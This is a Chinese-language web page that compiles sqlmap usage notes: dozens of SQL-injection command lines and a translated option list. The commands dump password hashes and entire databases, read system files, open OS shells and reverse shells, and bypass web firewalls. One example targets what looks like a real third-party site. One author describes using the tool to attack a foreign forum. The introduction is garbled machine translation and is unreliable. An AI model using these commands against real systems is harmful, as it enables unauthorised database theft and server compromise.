SQLMAP 注射工具中文使用用法
發(fā)布時(shí)間:2012-10-16 22:01:03 作者:佚名
我要評(píng)論

SQLMAP 注射工具用法 著名黑客注射工具sqlmap的使用方法
sqlmap 是一個(gè)自動(dòng)SQL 射入工具。它是可勝任執(zhí)行一個(gè)廣泛的數(shù)據(jù)庫(kù)管理系統(tǒng)后端指印, 檢索遙遠(yuǎn)的DBMS 數(shù)據(jù)庫(kù), usernames, 桌, 專(zhuān)欄, 列舉整個(gè)DBMS, 讀了系統(tǒng)文件和利用導(dǎo)致SQL 射入弱點(diǎn)的網(wǎng)應(yīng)用編程的安全漏洞。
有許多其它SQL 射入工具在網(wǎng), 但我不能發(fā)現(xiàn)任何人適合所有我的需要因此我感到需要在我的滲透測(cè)試期間給成功地寫(xiě)我自己的工具測(cè)試, 辨認(rèn)和利用網(wǎng)應(yīng)用的SQL 射入在安全上的弱點(diǎn)。
sqlmap簡(jiǎn)單中文說(shuō)明
首先下載需要的文件,如果是windows環(huán)境直接到http://www.dbjr.com.cn/softs/63591.html下載安裝所需要的文件即可。
這個(gè)東西,是mickey整理的,不多說(shuō)了,尊重一下原作者,轉(zhuǎn)載注明mickey整理就好了
更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //執(zhí)行SQL語(yǔ)句
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更詳細(xì)的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData來(lái)抓cookies
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1
使用referer欺騙
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3
使用自定義user-agent,或者使用隨機(jī)使用自帶的user-agents.txt
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt”
使用基本認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3
使用Digest認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3
使用代理,配合TOR
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:3128″
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:8118″
使用多線程猜解
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3
繞過(guò)動(dòng)態(tài)檢測(cè),直接指定有注入點(diǎn)的參數(shù),可以使用,分割多個(gè)參數(shù),指定user-agent注入
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”
指定數(shù)據(jù)庫(kù),繞過(guò)SQLMAP的自動(dòng)檢測(cè)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL”
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系統(tǒng),繞過(guò)SQLMAP自動(dòng)檢測(cè)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”
* Linux
* Windows
自定義payload
Options: –prefix and –postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT * FROM users WHERE id=(‘” . $_GET['id'] . “‘) LIMIT 0, 1″;:
$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’='test”
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1′) AND 7433=7433 AND (‘test’='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
頁(yè)面比較
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “<td>lu[\w][\w]er” -v
排除網(wǎng)站的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”
多語(yǔ)句測(cè)試,php內(nèi)嵌函數(shù)mysql_query(),不支持多語(yǔ)句
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1
union注入測(cè)試
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1
unionz注入配合orderby
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs
fingerprint
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f
python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b
判斷當(dāng)前用戶(hù)是否是dba
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1
列舉數(shù)據(jù)庫(kù)用戶(hù)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0
列舉數(shù)據(jù)庫(kù)用戶(hù)密碼
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0
查看用戶(hù)權(quán)限
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0
列數(shù)據(jù)庫(kù)
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0
列出指定數(shù)據(jù)庫(kù)指定表的列名
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1
列出指定數(shù)據(jù)庫(kù)的指定表的指定列的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0
指定列的范圍從2-4
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0
導(dǎo)出所有數(shù)據(jù)庫(kù),所有表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0
只列出用戶(hù)自己新建的數(shù)據(jù)庫(kù)和表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0
sql query
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢復(fù)會(huì)話
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”
保存選項(xiàng)到INC配置文件
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save
sqlmap注入使用方法
今天搞國(guó)外的一個(gè)論壇。發(fā)現(xiàn)蘿卜和穿山甲都無(wú)法正常注入,實(shí)在沒(méi)辦法了 還是臨時(shí)學(xué)習(xí)了下國(guó)外的神器sqlmap的使用方法,,直接做個(gè)記錄、、
sqlmap -u “http://url/news?id=1″ –current-user #獲取當(dāng)前用戶(hù)名稱(chēng) sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當(dāng)前數(shù) 據(jù)庫(kù)名稱(chēng)
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name” #列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name” -D “db_name” -v
0 #獲取字段內(nèi)容
******************信息獲取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數(shù) 據(jù)庫(kù)類(lèi)型
sqlmap -u “http://url/news?id=1″ –users #列數(shù)據(jù)庫(kù)用戶(hù)
sqlmap -u “http://url/news?id=1″ –dbs#列數(shù)據(jù)庫(kù)
sqlmap -u “http://url/news?id=1″ –passwords #數(shù)據(jù)庫(kù)用戶(hù)密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用戶(hù) 數(shù)據(jù)庫(kù)密碼
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename” -D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有數(shù)據(jù)庫(kù)所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看權(quán)限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用戶(hù)權(quán)限 sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是數(shù)據(jù)庫(kù)管理員 sqlmap -u “http://url/news?id=1″ –roles #枚舉數(shù)據(jù)庫(kù)用戶(hù)角色
sqlmap -u “http://url/news?id=1″ –udf-inject #導(dǎo)入用戶(hù)自定義函數(shù)(獲取 系統(tǒng)權(quán)限?。?
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當(dāng)前庫(kù)所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢(xún)表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “http://url/news?id=1″ -b #獲取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″ #post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指紋判別數(shù)據(jù)庫(kù)類(lèi)型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE” # 指 定關(guān)鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執(zhí)行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執(zhí)行系統(tǒng)命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統(tǒng)交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統(tǒng)注冊(cè)表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log” #保存進(jìn)度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復(fù) 已保存進(jìn)度
***********高級(jí)用法*************
-p name 多個(gè)參數(shù)如index.php?n_id=1&name=2&data=2020 我們想指定name參數(shù)進(jìn)行注入
sqlmap -g “google語(yǔ)法” –dump-all –batch #google搜索注入點(diǎn)自動(dòng) 跑出 所有字段 需保證google.com能正常訪問(wèn)
–technique 測(cè)試指定注入類(lèi)型\使用的技術(shù)
不加參數(shù)默認(rèn)測(cè)試所有注入技術(shù)
• B: 基于布爾的 SQL 盲注
• E: 基于顯錯(cuò) sql 注入
• U: 基于 UNION 注入
• S: 疊層 sql 注入
• T: 基于時(shí)間盲注
–tamper 通過(guò)編碼繞過(guò) WEB 防火墻(WAF) Sqlmap 默認(rèn)用 char()
–tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u “http://url/news?id=1″ –smart –level 3 –users # smart 智 能
level 執(zhí)行測(cè)試等級(jí) 攻擊實(shí)例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 通過(guò) apt-get install 安裝的sqlmap版本為 0.6 我們通過(guò)svn 來(lái)安裝 為 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當(dāng)前用戶(hù)/sqlmap-dev/sqlmap.py 直接執(zhí)行 /home/當(dāng)前用戶(hù)/sqlmap-dev/sqlmap.py –version 這樣很不方便 我們可以設(shè)置 .bashrc 文件
sudo vim /home/當(dāng)前用戶(hù)/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環(huán)境變量只對(duì)當(dāng)前用戶(hù)有效
如果想對(duì)所有用戶(hù)有效 可設(shè)置全局 編輯下面的文件
vim /etc/profile
同樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啟生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環(huán)境變量
–version 顯示程序的版本號(hào)并退出
-h, –help 顯示此幫助消息并退出
-v VERBOSE 詳細(xì)級(jí)別:0-6(默認(rèn)為 1)
Target(目標(biāo)): 以下至少需要設(shè)置其中一個(gè)選項(xiàng),設(shè)置目標(biāo) URL。
-d DIRECT 直接連接到數(shù)據(jù)庫(kù)。
-u URL, –url=URL 目標(biāo) URL。
-l LIST 從 Burp 或 WebScarab 代理的日志中解析目標(biāo)。
-r REQUESTFILE 從一個(gè)文件中載入 HTTP 請(qǐng)求。
-g GOOGLEDORK 處理 Google dork 的結(jié)果作為目標(biāo) URL。
-c CONFIGFILE 從 INI 配置文件中加載選項(xiàng)。
Request(請(qǐng)求)::
這些選項(xiàng)可以用來(lái)指定如何連接到目標(biāo) URL。
–data=DATA 通過(guò) POST 發(fā)送的數(shù)據(jù)字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應(yīng)的 Set – Cookie 頭信息
–user-agent=AGENT 指定 HTTP User – Agent 頭
–random-agent 使用隨機(jī)選定的 HTTP User – Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開(kāi),加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗(yàn)證類(lèi)型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗(yàn)證憑據(jù)(用戶(hù)名:密碼)
–auth-cert=ACERT HTTP 認(rèn)證證書(shū)(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理連接到目標(biāo) URL
–proxy-cred=PCRED HTTP 代理身份驗(yàn)證憑據(jù)(用戶(hù)名:密碼)
–ignore-proxy 忽略系統(tǒng)默認(rèn)的 HTTP 代理
–delay=DELAY 在每個(gè) HTTP 請(qǐng)求之間的延遲時(shí)間,單位為秒
–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認(rèn)為 30 秒)
–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認(rèn) 3)
–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標(biāo)的正則表達(dá)式
–safe-url=SAFURL 在測(cè)試過(guò)程中經(jīng)常訪問(wèn)的 url 地址
–safe-freq=SAFREQ 兩次訪問(wèn)之間測(cè)試請(qǐng)求,給出安全的 URL
Optimization(優(yōu)化): 這些選項(xiàng)可用于優(yōu)化 SqlMap 的性能。
-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)
–predict-output 預(yù)測(cè)常見(jiàn)的查詢(xún)輸出
–keep-alive 使用持久的 HTTP(S)連接
–null-connection 從沒(méi)有實(shí)際的 HTTP 響應(yīng)體中檢索頁(yè)面長(zhǎng)度
–threads=THREADS 最大的 HTTP(S)請(qǐng)求并發(fā)量(默認(rèn)為 1)
Injection(注入):
這些選項(xiàng)可以用來(lái)指定測(cè)試哪些參數(shù), 提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測(cè)試的參數(shù)(S)
–dbms=DBMS 強(qiáng)制后端的 DBMS 為此值
–os=OS 強(qiáng)制后端的 DBMS 操作系統(tǒng)為這個(gè)值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串后綴
–tamper=TAMPER 使用給定的腳本(S)篡改注入數(shù)據(jù)
Detection(檢測(cè)):
這些選項(xiàng)可以用來(lái)指定在 SQL 盲注時(shí)如何解析和比較 HTTP 響應(yīng)頁(yè)面的內(nèi)容。
–level=LEVEL 執(zhí)行測(cè)試的等級(jí)(1-5,默認(rèn)為 1)
–risk=RISK 執(zhí)行測(cè)試的風(fēng)險(xiǎn)(0-3,默認(rèn)為 1)
–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串
–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達(dá)式
–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁(yè)
Techniques(技巧): 這些選項(xiàng)可用于調(diào)整具體的 SQL 注入測(cè)試。
–technique=TECH SQL 注入技術(shù)測(cè)試(默認(rèn) BEUST)
–time-sec=TIMESEC DBMS 響應(yīng)的延遲時(shí)間(默認(rèn)為 5 秒)
–union-cols=UCOLS 定列范圍用于測(cè)試 UNION 查詢(xún)注入
–union-char=UCHAR 用于暴力猜解列數(shù)的字符
Fingerprint(指紋):
-f, –fingerprint 執(zhí)行檢查廣泛的 DBMS 版本指紋
Enumeration(枚舉):
這些選項(xiàng)可以用來(lái)列舉后端數(shù)據(jù)庫(kù)管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行您自己 的 SQL 語(yǔ)句。
-b, –banner 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)識(shí)
–current-user 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前用戶(hù)
–current-db 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前數(shù)據(jù)庫(kù)
–is-dba 檢測(cè) DBMS 當(dāng)前用戶(hù)是否 DBA
–users 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)
–passwords 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)密碼哈希
–privileges 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)的權(quán)限
–roles 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)的角色
–dbs 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)數(shù)據(jù)庫(kù)
–tables 枚舉的 DBMS 數(shù)據(jù)庫(kù)中的表
–columns 枚舉 DBMS 數(shù)據(jù)庫(kù)表列
–dump 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)管理系統(tǒng)的數(shù)據(jù)庫(kù)中的表項(xiàng)
–dump-all 轉(zhuǎn)儲(chǔ)所有的 DBMS 數(shù)據(jù)庫(kù)表中的條目
–search 搜索列(S),表(S)和/或數(shù)據(jù)庫(kù)名稱(chēng)(S)
-D DB 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)名
-T TBL 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)表
-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)列
-U USER 用來(lái)進(jìn)行枚舉的數(shù)據(jù)庫(kù)用戶(hù)
–exclude-sysdbs 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫(kù)
–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索
–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索
–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索
–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索
–sql-query=QUERY 要執(zhí)行的 SQL 語(yǔ)句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蠻力): 這些選項(xiàng)可以被用來(lái)運(yùn)行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶(hù)自定義函數(shù)注入): 這些選項(xiàng)可以用來(lái)創(chuàng)建用戶(hù)自定義函數(shù)。
–udf-inject 注入用戶(hù)自定義函數(shù)
–shared-lib=SHLIB 共享庫(kù)的本地路徑
File system access(訪問(wèn)文件系統(tǒng)): 這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層文件系統(tǒng)。
–file-read=RFILE 從后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)讀取文件
–file-write=WFILE 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)上的本地文件
–file-dest=DFILE 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)寫(xiě)入文件的絕對(duì)路徑
Operating system access(操作系統(tǒng)訪問(wèn)): 這些選項(xiàng)可以用于訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層操作系統(tǒng)。
–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令
–os-shell 交互式的操作系統(tǒng)的 shell
–os-pwn 獲取一個(gè) OOB shell,meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個(gè) OOB shell,meterpreter 或 VNC
–os-bof 存儲(chǔ)過(guò)程緩沖區(qū)溢出利用
–priv-esc 數(shù)據(jù)庫(kù)進(jìn)程用戶(hù)權(quán)限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠(yuǎn)程臨時(shí)文件目錄的絕對(duì)路徑
Windows 注冊(cè)表訪問(wèn): 這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng) Windows 注冊(cè)表。
–reg-read 讀一個(gè) Windows 注冊(cè)表項(xiàng)值
–reg-add 寫(xiě)一個(gè) Windows 注冊(cè)表項(xiàng)值數(shù)據(jù)
–reg-del 刪除 Windows 注冊(cè)表鍵值
–reg-key=REGKEY Windows 注冊(cè)表鍵
–reg-value=REGVAL Windows 注冊(cè)表項(xiàng)值
–reg-data=REGDATA Windows 注冊(cè)表鍵值數(shù)據(jù)
–reg-type=REGTYPE Windows 注冊(cè)表項(xiàng)值類(lèi)型
General(一般): 這些選項(xiàng)可以用來(lái)設(shè)置一些一般的工作參數(shù)。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個(gè)文本文件中
-s SESSIONFILE 保存和恢復(fù)檢索會(huì)話文件的所有數(shù)據(jù)
–flush-session 刷新當(dāng)前目標(biāo)的會(huì)話文件
–fresh-queries 忽略在會(huì)話文件中存儲(chǔ)的查詢(xún)結(jié)果
–eta 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間
–update 更新 SqlMap
–save file 保存選項(xiàng)到 INI 配置文件
–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認(rèn)配置。
Miscellaneous(雜項(xiàng)):
–beep 發(fā)現(xiàn) SQL 注入時(shí)提醒
–check-payload IDS 對(duì)注入 payloads 的檢測(cè)測(cè)試
–cleanup SqlMap 具體的 UDF 和表清理 DBMS
–forms 對(duì)目標(biāo) URL 的解析和測(cè)試形式
–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌 dork 結(jié)果
–page-rank Google dork 結(jié)果顯示網(wǎng)頁(yè)排名(PR)
–parse-errors 從響應(yīng)頁(yè)面解析數(shù)據(jù)庫(kù)管理系統(tǒng)的錯(cuò)誤消息
–replicate 復(fù)制轉(zhuǎn)儲(chǔ)的數(shù)據(jù)到一個(gè) sqlite3 數(shù)據(jù)庫(kù)
–tor 使用默認(rèn)的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級(jí)用戶(hù)的簡(jiǎn)單向?qū)Ы缑?
SQLMAP的部分用法
內(nèi)容摘自網(wǎng)絡(luò),整理:mer4en7y
1)判斷當(dāng)前用戶(hù)是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)
python sqlmap.py -u "url" --users -v 0
3)--passwords:數(shù)據(jù)庫(kù)用戶(hù)密碼(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用戶(hù)權(quán)限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的數(shù)據(jù)庫(kù)
python sqlmap.py -u "url" --dbs -v 0
6)--tables列數(shù)據(jù)庫(kù)表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定數(shù)據(jù)名稱(chēng)
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定庫(kù)名
8)--dump列表中指定列的內(nèi)容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范圍為2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有數(shù)據(jù)庫(kù),所有表內(nèi)容
python sqlmap.py -u "url" --dump-all -v 0
只列出用戶(hù)自己新建的數(shù)據(jù)庫(kù)和表的內(nèi)容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file讀取文件內(nèi)容[load_file()函數(shù)]
python sqlmap.py -u "url" --file /etc/password
11)執(zhí)行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定參數(shù)
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多參數(shù)-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺騙
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定義user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多線程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定數(shù)據(jù)庫(kù),繞過(guò)SQLMAP的自動(dòng)檢測(cè)
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系統(tǒng)繞過(guò)SQLMAP自動(dòng)檢測(cè)
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定義payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入測(cè)試
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs
有許多其它SQL 射入工具在網(wǎng), 但我不能發(fā)現(xiàn)任何人適合所有我的需要因此我感到需要在我的滲透測(cè)試期間給成功地寫(xiě)我自己的工具測(cè)試, 辨認(rèn)和利用網(wǎng)應(yīng)用的SQL 射入在安全上的弱點(diǎn)。
